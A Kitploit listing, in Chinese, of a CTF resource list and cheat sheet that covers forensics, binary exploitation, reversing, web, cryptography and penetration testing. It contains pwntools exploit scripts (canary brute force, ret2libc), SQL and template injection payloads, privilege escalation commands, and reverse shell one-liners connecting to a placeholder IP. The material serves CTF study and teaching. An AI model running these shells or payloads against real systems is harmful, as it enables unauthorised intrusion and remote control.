Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CTFs — CTF 速查表 + 我参与过的部分安全 CTF 赛事的 Writeups/文件 | Kitploit
工具/GitHubGitHub/adamkadaban/ctfs
OSINT (开源情报)逆向工程取证分析Web安全隐写术密码学CTF渗透测试学习与教育精选资源二进制利用实验室与实践
84767939个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
adamkadaban/ctfs

CTFs

CTF 速查表 + 我参与过的部分安全 CTF 赛事的 Writeups/文件

查看仓库网站

CTF

一些我参加过的网络CTF的解题报告/文件

我还整理了一份 CTF 资源 列表以及一份全面的 备忘单,涵盖了大量常见的CTF挑战。

[!NOTE] 本 repo 现有一个 Web 镜像:hackback.zip

目录

  • 资源

    • YouTube 频道
    • 练习/学习网站
      • CTF
      • 通用
      • Pwn
      • 逆向
      • Web
      • 密码学
      • 智能合约
      • 云安全
      • 渗透测试
  • CTF 备忘单

    • 取证/隐写
      • 通用
      • 音频
      • 图像
      • 视频
      • 虚拟机镜像
      • Pcap
    • Pwn / 二进制漏洞利用
      • 通用
      • 缓冲区溢出
      • PIE(位置无关可执行文件)
      • NX(不可执行)
      • ROP(针对静态编译的二进制文件)
      • 栈金丝雀
      • 格式化字符串漏洞
      • Shellcode
      • Return-to-Libc
    • 逆向工程
      • SMT 求解器
      • 逐字节校验的逆向(侧信道攻击)
      • 使用 gef 搜索字符串
    • Web
      • 模糊测试输入字段
    • 密码学
      • CyberChef

      • 常见密码

      • RSA

        • 使用 pycryptodome 获取 RSA 信息
        • 中国剩余定理(p,q,e,c)
        • Coppersmith 攻击(c,e)
        • Pollard 攻击(n,e,c)
        • Wiener 攻击(n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • 攻防
      • 连接
      • 信息收集
      • 权限提升
      • 监听反弹 shell
      • 反弹 shell
      • 获取交互式 shell
        • Linux
        • Windows / 通用
    • OSINT
    • 其他

资源

YouTube 频道

  • John Hammond
    • 曾制作大量 CTF 视频,但现已转向其他方向
    • 仍有很多有用的视频,尤其是 CTF 相关视频对于网络安全新手来说非常棒。
  • Live Overflow
    • 制作极为有趣且深入的网络安全视频。
    • 拥有一个极棒的 pwn 系列
  • IppSec
    • 为 HackTheBox 上的每一台机器撰写详细的解题报告。
      • 讨论不同的解法及其原理。强烈推荐。
  • Computerphile
    • 与 Numberphile 相同的人员,但更酷。制作非常初级的、直观的基础概念视频。
  • pwn.college
    • ASU 教授,有大量 pwn 相关的视频。
    • 配套课程资料:https://pwn.college/
    • 大量练习题目:https://dojo.pwn.college/
  • PwnFunction
    • 高质量、易于理解的动画视频,涵盖不同主题。
    • 主题虽有些深入,但易于理解。
  • Martin Carlisle
    • 制作 picoCTF 挑战题目的精彩解题视频。
  • Sam Bowne
    • CCSF 教授,在他的网站上开源了所有课程和教材。
  • UFSIT
    • UF 网络安全战队(我有点偏心,但这绝对是这方面最好的 YouTube 频道之一)
  • Gynvael
    • 制作极其直观的视频解题报告。已经完成了整个 picoCTF 2019(这工作量很大)。
  • Black Hills Information Security
    • 一家安全公司,制作大量教育内容。
    • 经常举办免费的课程和讨论安全话题。

演讲

我整理了一些幻灯片:hackback.zip/presentations

练习/学习网站

CTF

  • PicoCTF
    • 大量精彩的练习挑战。
    • 绝对是入门的最佳选择。
  • UCF
    • 综合不错,特别适合 pwn 练习。
    • 我正在把解题报告上传到这里。
  • hacker101
    • CTF,但稍微偏向渗透测试。
  • CSAW
    • 90% 的时间都不可用,且连接通常无效。
    • 但如果可用,它有很多不错的入门挑战。
  • CTF101
    • 我看过的最好的 CTF 入门介绍之一(感谢 osiris)。
    • 非常简洁且对新手友好。

通用

  • HackTheBox
    • 经典的平台。
      • 机器经过精心策划以保证质量。
    • 现在也有 CTF 风格的问题。
    • 现在提供入门课程。
  • TryHackMe
    • 机器难度比 HackTheBox 稍低。
    • 分步挑战。
    • 现在有“学习路径”来引导你学习主题。
  • CybersecLabs
    • 大量机器。
    • 也有一些 CTF 内容。
  • VulnHub
    • 有需要自己部署的易受攻击虚拟机。
    • 种类繁多,但个人认为很难找到好的。

Pwn

  • pwnable.kr
    • 难度范围适中的挑战。
  • pwnable.tw
    • 比 pwnable.kr 更难。
    • 解决挑战后可以看到解题报告。
  • pwnable.xyz
    • 更多 pwn 挑战。
    • 解决挑战后可以看到解题报告。
    • 解决所有挑战后可以上传自己的挑战。
  • pwn dojo
    • 在我看来最好的 pwn 挑战集合。
    • 附有教授如何操作的幻灯片,并设有 discord 以便需要帮助时使用。
  • nightmare
    • C 二进制 pwn 的黄金标准。
    • 有一些小错误/笔误,但整体非常棒。
  • pwn notes
    • 某个在线用户的笔记。
    • 比较浅显,但作为入门介绍不错。
  • Security Summer School
    • 布加勒斯特大学安全课程。
    • 解释非常友好。
  • RPISEC MBE
    • RPI 的现代二进制漏洞利用课程。
    • 有大量实验/项目用于练习,以及一些(略显过时的)讲座。
  • how2heap
    • ASU 的 CTF 战队制作的堆利用系列。
    • 包含一个很酷的调试器功能,展示漏洞利用是如何工作的。
  • ROPEmporium
    • 一系列针对所有主要架构的挑战,教授返回导向编程。
    • 质量非常高。从最基础到最先进的技术都有教授。
    • 我正在把我的解题报告上传到这里。
  • Phoenix Exploit Education
    • 大量按难度排序的二进制漏洞利用题目。
    • 包含源代码,并附带一个包含所有二进制文件的虚拟机。

逆向

  • challenges.re
    • 挑战数量多得惊人。
    • 种类繁多。
  • reversing.kr
  • crackmes.one
    • 大量 crackme(CTF 风格)挑战。
  • Malware Unicorn Workshops
    • 关于逆向工程和恶意软件分析的免费研讨会。

Web

  • websec.fr
    • 大量 Web 挑战,难度范围广。
  • webhacking.kr
    • 归档了很多优秀的 Web 挑战。
  • Securing Web Applications
    • 开源的 CCSF 课程。
  • OWASP Juice Shop
    • 非常偏向渗透测试,但对于探索 CTF 中的 Web 也有用。
    • 总共超过 100 个漏洞/挑战。
  • PortSwigger
    • 理解 Web 攻击的黄金标准。
    • 大量精彩的挑战和解释。
  • DVWA
    • 非常偏向渗透测试,但对于探索 CTF 中的 Web 也有用。
  • bWAPP
    • 非常偏向渗透测试,但对于探索 CTF 中的 Web 也有用。
  • CTF Challenge
    • 由 Adam Langley 制作的一系列 Web 挑战,力求尽可能真实。
    • 适合获取漏洞赏金经验。

密码学

  • CryptoHack
    • 我正在把解题报告上传到这里。
  • cryptopals
    • 经典的 Crypto 挑战网站。
  • CryptoCTF
    • 年度密码学 CTF。往届可在 20{19,20,21,22,23,24}.cr.yp.toc.tf 访问。

智能合约

  • Capture the Ether

云安全

  • CloudFoxable
    • 指导你设置一个易受攻击的环境,并使用 cloudfox 进行利用。
  • flaws.cloud
    • 免费挑战,涉及在 S3、EC2 和 Lambda 中寻找秘密。

渗透测试

  • hacker101
  • hacksplaining
  • Exploit developement
    • 开源的 CCSF 课程。
  • Intro to Security
    • 加州大学圣迭戈分校课程,由 Deian Stefan 教授。
    • 涵盖基础 pwn 和密码学。
  • Active Directory Cheat Sheet
  • WADComs
    • Windows/AD 环境的交互式备忘单。
  • LOLBAS
    • Windows“生活在陆地上”的二进制文件、脚本和库的交互式备忘单,用于利用。
  • GTFOBins
    • Linux“生活在陆地上”技术的交互式备忘单。

CTF 备忘单

取证/隐写

通用

  • AperiSolve
    • 自动运行其他隐写工具的工具。
  • John Hammond 针对不同类型挑战的好资源:
    • https://github.com/JohnHammond/ctf-katana
  • 另一个非常好的创建和解决挑战的备忘单:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • 确定文件类型。
  • steghide
    • steghide extract -sf <file.xyz>
    • 提取嵌入的文件。
  • stegseek
    • stegseek <file> <password list>
    • 使用字典提取嵌入的文件。
    • 非常非常快。
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • 提取嵌入的文件。
  • exiftool
    • exiftool <file.xyz>
    • 读取元数据。
  • strings
    • strings <file.xyz>
    • 查找文件中的所有可打印字符。
  • hexedit
    • hexedit <file.xyz>
    • 某些情况下可能需要更改图片的文件签名才能打开。

音频

  • 传真机音频:

    • 示例
    • 解码器
  • SSTV(慢扫描电视)音频(月亮相关的东西)

    • 示例
    • 解码器
    • 备选解码器
    • 使用以下 qsstv 设置:

    SSTV 设置

  • 频谱图图像

    • 解码器
  • 改变音调、速度、方向...

    • 音调、速度、调谐
    • 反转
  • DTMF(双音多频)按键音

    • multimon-ng -a DTMF -t wav <file.wav>
      • 注意这些可能是多击字母。
        • 这个网站可以将数字解码为文本。
  • 磁带音频

    • 示例
    • 解码器(wav 到 tap 文件)
  • 摩尔斯电码

    • 解码器

图像

  • stegsolve
    • 切换位平面。
  • foremost
    • 专门用于提取图像的工具。
    • 可用于拼接损坏的图像(例如在 pcap 中)。
  • Depix
    • 去除文字上的马赛克。
  • 检查图片是否被 PS(查看高光区域)
    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg
    • LSB 解码器。
  • jsteg
    • JPEG 隐写求解器。
  • pixrecovery
    • 迄今为止我发现的最有效的 PNG 恢复工具(只要不关心水印)。
    • photopea 也很好用。
  • crc32fix
    • 根据校验和修复 PNG 的高度和宽度。
  • PCRT
    • 修复 PNG 头尾信息。
  • png-crc-fix
    • 修复 PNG 校验和。
  • pngcheck
    • 检查 PNG 是否存在错误。
    • pngcheck <file>

视频

虚拟机镜像

  • 恢复文件
    • photorec <file.bin>
  • 可以将镜像挂载为虚拟机
    • https://habr.com/en/post/444940/
  • 挂载 .img 文件:
    • binwalk -M --dd=".*" <fileName>
    • 对输出运行 file,选择 Linux 文件系统文件。
    • losetup /dev/loop<空闲环设备号> <文件系统文件>

Pcap

  • 使用 tcpflow 提取数据
    • tcpflow -r <file.pcap>
  • 使用 wireshark 提取数据
    • 文件 → 导出对象 → 做出选择

Pwn / 二进制漏洞利用

  • 关于这一部分,我建议查看我的 LearnPwn 仓库,因为这个备忘单是在我对 pwn 了解不多的时候编写的。
    • 不过,我还是补充了一些笔记,对现有内容进行了修改。

通用

  • 检查 ELF 的安全性
    • checksec <binary>
    • rabin2 -I <binary>
  • 检查 PE 的安全性
    • binary-security-check
    • binary-security-check <bin>.exe
  • 检查 seccomp bpf
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • 查看符号表
    • readelf -s <binary>
  • 查看字符串
    • rabin2 -z <binary>
  • 将地址打包为字节
    • 小端序(32 位)
      • python -c "import pwn; print(pwn.p32(<intAddr>))"
    • 大端序(64 位)
      • python -c "import pwn; print(pwn.p64(<intAddr>))"
    • pwntools 会自动以正确的端序打包地址。

缓冲区溢出

  • 如果需要获取 /bin/sh shell 并且确定有效,但程序总是退出,可以使用这个技巧:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntools 使用其 process.interactive() 方法实现这一点。

PIE(位置无关可执行文件)

  • 确定随机值
    • pwn cyclic <numChars> 生成载荷。
    • dmesg | tail | grep segfault 查看错误位置。
    • pwn cyclic -l 0x<errorLocation> 查看控制指令指针的随机偏移量。
    • 示例

NX(不可执行)

  • 我们可以使用 ROP(返回导向编程)来解决。

ROP(针对静态编译的二进制文件)

  • ROPgadget
    • 查看 gadgets 并自动生成 ropchains。
    • ROPgadget --ropchain --binary <binary>
      • 然后可以在代码开头添加填充(基于缓冲区与返回地址之间的偏移量),运行代码即可获得 shell。
      • 演示
  • ropr

栈金丝雀在调试器中查找栈金丝雀

  • 栈金丝雀是在EIP/RIP(指令指针)之前放置的一个值,可以被缓冲区溢出覆盖。如果栈被覆盖为不同的值,程序基本上会报错。我们的目标是找到原始的栈,这样当我们溢出时,程序正常运行。
  • 栈金丝雀取自gs或fs(分别适用于32位和64位)
    • 在反汇编中,在读取某些内容之前,你会看到类似以下的一行:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- 在这里,栈保护值(canary)被移动到偏移量 +8 处的 `rax` 中。
    - 因此,在下一个偏移量处设置断点并检查 rax 中的内容(`i r rax`),以查看当前的 canary 值。

**静态 Canary**
- 只有当程序员手动实现了 canary(在一些入门级 pwn 挑战中就是这种情况),或者你能够 fork 程序时,canary 才是静态的。
    - 当你 fork 二进制文件时,fork 出来的进程拥有相同的 canary,因此你可以对其逐字节进行暴力破解。

**额外**
- 当栈保护值被不当覆盖时,会导致调用 `__stack_chk_fail`
    - 如果我们无法泄露 canary,也可以通过修改 GOT 表来阻止其被调用
- Canary 存储在当前栈的 `TLS` 结构中,并由 `security_init` 初始化
    - 如果你能覆盖真实的 canary 值,你可以将其设置为与你要溢出的任意值相等。

- 用于暴力破解静态 4 字节 canary 的简单脚本:

...

for i in range(4): for j in range(256): try: # ... (rest of script)

root@kitploit:~
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)
```
#### 格式化字符串漏洞

- 如果你看到 "printf(buf)" 或类似情况,查看表2以了解尝试什么:
    - [https://owasp.org/www-community/attacks/Format_string_attack](https://owasp.org/www-community/attacks/Format_string_attack)
- 强烈建议观看 John Hammond 做 picoCTF 2018 的 'echooo' 挑战
- 有时,像这样尝试仅从栈中打印字符串:'%s %s %s %s %s %s' 可能会导致错误,因为栈中并非所有内容都是字符串。
- 尝试改用 '%x %x %x %x %x %s' 来最小化这种错误
- 与其不断递增输入的 %x 和 %s 数量,你可以传递一个参数来简化操作:
    - `%1$s` - 这将打印栈中的第一个值(据我理解,即紧邻你缓冲区的那个)作为字符串。
    - `%2$s` - 这将打印第二个值作为字符串,以此类推。
    - 你可以使用一行循环来尝试通过泄漏栈找到 flag。按 ^C (CTRL + C) 跳转到下一个值。
        - `for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done`
- 你可以使用不同的大小参数来控制泄漏多少:
    - `%hhx` 泄漏 1 字节(int 大小的一半的一半)
    - `%hx` 泄漏 2 字节(int 大小的一半)
    - `%x` 泄漏 4 字节(int 大小)
    - `%lx` 泄漏 8 字节(long 大小)
- 关于利用 fstring 漏洞和 %n 修改栈的非常好的视频:
    - [https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle](https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle)
    


#### Shellcode

- 查找不同 shellcode 的好网站:
    - [http://shell-storm.org/shellcode/](http://shell-storm.org/shellcode/)

#### Return-to-Libc

- 我们将覆盖 EIP 以调用 system() 库函数,同时传递它应该执行的命令,本例中是一个包含 "/bin/sh" 的缓冲区。
- 很好的解释:
    - [https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM](https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM)
- 很好的示例(跳转到 3:22:44):
    - [https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org](https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org)
    - [https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg](https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg)
- 获取 execve("/bin/sh") 的地址:
    - `one_gadget <libc file>`

- 如果你已经知道 libc 文件及其位置(即不需要泄漏它们...)```python
#!/bin/python3

from pwn import *
import os

binaryName = 'ret2libc1'

# get the address of libc file with ldd
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}')
e = ELF(f'./{binaryName}')
l = ELF(libc_loc)

# get the address of printf from the binary output
printf_loc = int(p.recvuntil('\n').rstrip(), 16)

# get the address of printf from libc
printf_libc = l.sym['printf']

# calculate the base address of libc
libc_base_address = printf_loc - printf_libc

# generate payload

# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17

payload = b"A"*offset
payload += p64(libc_base_address + libc_execve_address)

# send the payload
p.sendline(payload)

# enter in interactive so we can use the shell created from our execve payload
p.interactive()
```
## 逆向工程

> 实用指南:[https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - 非常好用的反编译器
- dotPeek 或 dnSpy
    - 反编译 .NET 可执行文件
- [jadx](https://github.com/skylot/jadx) 和 jadx-gui
    - 反编译 APK
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - 在线反编译 Java
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - 高级的基于终端的 Java 反编译器
- apktool
    - 反编译 APK
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - 二进制分析
    - [peda](https://github.com/longld/peda) (增强功能的扩展)
    - [gef](https://github.com/hugsy/gef) (为 pwn 爱好者准备的 gdb 扩展)
- [radare2](https://github.com/radareorg/radare2)
    - 二进制分析
- [FLOSS](https://github.com/mandiant/flare-floss)
    - 增强版的 `strings`。使用静态分析来查找和计算字符串

#### SMT 求解器
- [angr](https://github.com/angr/angr) (Python)
    - [文档](https://docs.angr.io/core-concepts/toplevel)
    - [教程](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [教程](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### 逐字节检查的逆向(侧信道攻击)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- 这是我为一个使用时间攻击的挑战编写的版本:
    - 你可能需要运行几次以消除随机性的影响```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
```
#### 在 gef 中搜索字符串

- 如果你的标志在某个时刻被读入变量或寄存器,你可以在移动后中断并运行 `grep <string>`,gef 会自动显示与你的搜索模式匹配的字符串

## Web

- [Nikto](https://tools.kali.org/information-gathering/nikto)(如果允许)
    - 自动寻找漏洞
- [gobuster](https://tools.kali.org/web-applications/gobuster)(如果允许)
    - 暴力破解目录和文件
- [hydra](https://tools.kali.org/password-attacks/hydra)(如果允许)
    - 针对各种服务暴力破解登录
- [BurpSuite](https://portswigger.net/burp)
    - 拦截 Web 请求并允许你修改它们
- [Wireshark](https://www.wireshark.org/)
    - 分析实时网络流量和 pcap 文件
- [php 反弹 shell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)
    - 对允许文件上传的网站很有用
    - 此文件需要在服务器上执行才能工作
- [WPScan](http://wpscan.com)
    - 扫描 WordPress 网站
    - 使用 `wpscan --url <site> --plugins-detection mixed -e` 配合 API 密钥可获最佳效果
- [jwt](https://jwt.io/)
    - 你可以识别 JWT 令牌,因为 base64 编码的 JSON(以及 JWT 令牌)以 "ey" 开头
    - 该网站可以解码 JSON Web 令牌
    - 你可以破解 JSON Web 令牌的密钥,从而修改并签署你自己的令牌
        - `echo <token> > jwt.txt`
        - `john jwt.txt`
- SQL 注入
    - sqlmap
        - `sqlmap --forms --dump-all -u <url>`
        - 自动化 SQL 注入的过程
    - 基本 SQL 注入
        - 在登录表单中输入 `'OR 1=1--`
        - 在服务器上,这将被执行为 `SELECT * FROM Users WHERE User = '' OR 1=1--'  AND Pass = ''`
        - `1=1` 求值为真,满足 `OR` 条件,`--` 注释掉剩余查询
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
    - 大量 Web 利用 payload 的优秀资源
- 模板注入
    - [tplmap](https://github.com/epinna/tplmap)
        - 自动化服务端模板注入
    - Jinja 注入
        - \{\{ config.items() \}\}
    - Flask 注入
        - \{\{ config \}\}
    - Python eval() 函数
        - `__import__.('subprocess').getoutput('<command>')`
            - 如果不生效,请确保切换括号
        - `__import__.('subprocess').getoutput('ls').split('\\n')`
            - 列出系统中的文件
    - [更多 Python 注入](https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1)
- 跨站脚本攻击
    - [CSP 评估器](https://csp-evaluator.withgoogle.com/)
        - Google 的内容安全策略评估器

### 模糊测试输入字段

- FFUF
    - 将请求复制到输入字段,并用 "FUZZ" 替换参数:
        - `ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all`
        - 使用 `-fs` 过滤大小

## 加密

### CyberChef

- [CyberChef](https://gchq.github.io/CyberChef/)
    - 执行各种密码学操作
    

[密码检测器](https://www.boxentriq.com/code-breaking/cipher-identifier)

### 哈希

- hashid
    - 命令行工具,用于检测哈希类型

### 常见密码

- [凯撒密码](https://www.dcode.fr/caesar-cipher)
- [维吉尼亚密码](https://www.dcode.fr/vigenere-cipher)```python
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""

with open(cipherText) as fin:
    cipher = fin.readline().rstrip()

with open(plainText) as fin:
    plain = fin.readline().rstrip()

with open(flagCipherText) as fin:
    flag = fin.readline().rstrip()

with open(tableFile) as fin:
    table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part.
            # just a 2d array with the lookup table
            # should still work if the table is slightly off, but the key will be wrong
key = ""
for i, c in enumerate(plain[0:100]):
  col = table[0].index(c)
  for row in range(len(table)):
    if table[row][col] == cipher[i]:
      key += table[row][0]
      break

print(key)

dec_flag = ""
for i, c in enumerate(flag[:-1]):
  col = table[0].index(key[i])
  for row in range(len(table)):
    if table[row][col] == flag[i]:
      dec_flag += table[row][0]
      break

print(dec_flag)
```
- [替换密码](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [带密钥的凯撒密码](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### 使用 pycryptodome 获取 RSA 信息```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

```
#### 中国剩余定理 (p,q,e,c)
- 当你能够分解数字 `n` 时使用此方法
    - 糟糕的实现会包含多个质因数
    - [证明](https://www.di-mgt.com.au/crt_rsa.html)

- 旧版```python
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b%a,a)
    return (g, x - (b//a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m

p = 
q = 
e = 
c = 

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

# print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x)
print(bytes.fromhex(thing).decode('ascii'))
```
- 新```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
```
- 提供因数和欧拉函数(phi)的网站
    - [https://www.alpertron.com.ar/ECM.HTM](https://www.alpertron.com.ar/ECM.HTM)

#### Coppersmith 攻击 (c,e)
- 通常在指数非常小(e <= 5)时使用
    - [证明](https://web.eecs.umich.edu/~cpeikert/lic13/lec04.pdf)```python
from Crypto.Util.number import *
def nth_root(radicand, index):
    lo = 1
    hi = radicand
    while hi - lo > 1:
        mid = (lo + hi) // 2
        if mid ** index > radicand:
            hi = mid
        else:
            lo = mid

    if lo ** index == radicand:
        return lo
    elif hi ** index == radicand:
        return hi
    else:
        return -1

c = 
e = 

plaintext = long_to_bytes(nth_root(c, e))
print(plaintext.decode("UTF-8"))

```
#### Pollards attack (n,e,c)
- 基于[Pollard分解方法](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf),如果质数乘积是(B)平滑的,则该方法使其[易于分解](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf)
    - 当`p-1 | B!`且`q - 1`有一个大于`B`的因子时,符合这种情况。```python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
```
#### Wiener Attack (n,e,c)
- 适用于当d太小(或e太大)时
    - 使用 [此](https://github.com/orisano/owiener) Python模块
    - [证明](https://sagi.io/crypto-classics-wieners-rsa-attack/)```python
from Crypto.Util.number import *
import owiener

n = 
e = 
c = 

d = owiener.attack(e, n)
m = pow(c, d, n)

flag = long_to_bytes(m)
print(flag)
```
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## 盒子

### 连接

- ssh
    - `ssh <用户名>@<IP>`
    - `ssh <用户名>@<IP> -i <私钥文件>`
    - 将SSH挂载为本地文件系统:
        - `sshfs -p <端口> <用户>@<IP>: <挂载目录>`
    - 已知主机
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <用户@主机>`
- netcat
    - `nc <IP> <端口>`

### 枚举

- 机器发现
    - `netdiscover`
- 机器端口扫描
    - `nmap -sC -sV <IP>`
- Linux枚举
    - `enum4linux <IP>`
- SMB枚举
    - `smbmap -H <IP>`
- 连接到SMB共享
    - `smbclient //<IP>/<共享>`

### 权限提升

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - 自动寻找权限提升向量
- 列出可以以root身份运行的命令
    - `sudo -l`
- 查找具有SUID权限的文件
    - `find / -perm -u=s -type f 2>/dev/null`
    - 这些文件以文件所有者的权限执行,而非执行者
- 查找所有服务的权限
    - `accesschk.exe -uwcqv *`
    - 查找不属于System或Administrator账户的服务
- 查询服务
    - `sc qc <服务名称>`
    - 仅能在cmd.exe中运行

### 监听反向Shell

- `nc -lnvp <端口>`

### 反向Shell

- revshells.com
    - 提供几乎所有可能需要的模板
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<端口>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <IP> <端口>`
- `bash -i >& /dev/tcp/<IP>/<端口> 0>&1`

### 获取交互式Shell

#### Linux

1. 运行以下python命令使其部分交互:`python -c 'import pty;pty.spawn("/bin/bash");'`
2. 使用`CTRL+Z`退出netcat会话,并在本地运行`stty raw -echo`
3. 使用命令`fg`重新进入会话(如果需要,后面加上工作ID)
4. 运行`export TERM=xterm`更改终端模拟器为xterm(可能不需要)
5. 运行`export SHELL=bash`更改Shell为bash(可能不需要)
6. 完成!现在你的Shell应该是完全交互式的

#### Windows / 通用

1. 在你的系统上安装`rlwrap`
2. 现在,每次运行nc监听器时,只需在前面加上`rlwrap`
3. 例如:`rlwrap nc -lvnp 1337`
    * 这会提供方向键和命令历史,但对于Windows和*nix系统不会提供自动补全(据我所知)

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - 在互联网上反向搜索人脸
- [OSINT Framework](https://osintframework.com/)
    - 汇集大量OSINT工具的网站
- [GeoSpy AI](https://geospy.ai)
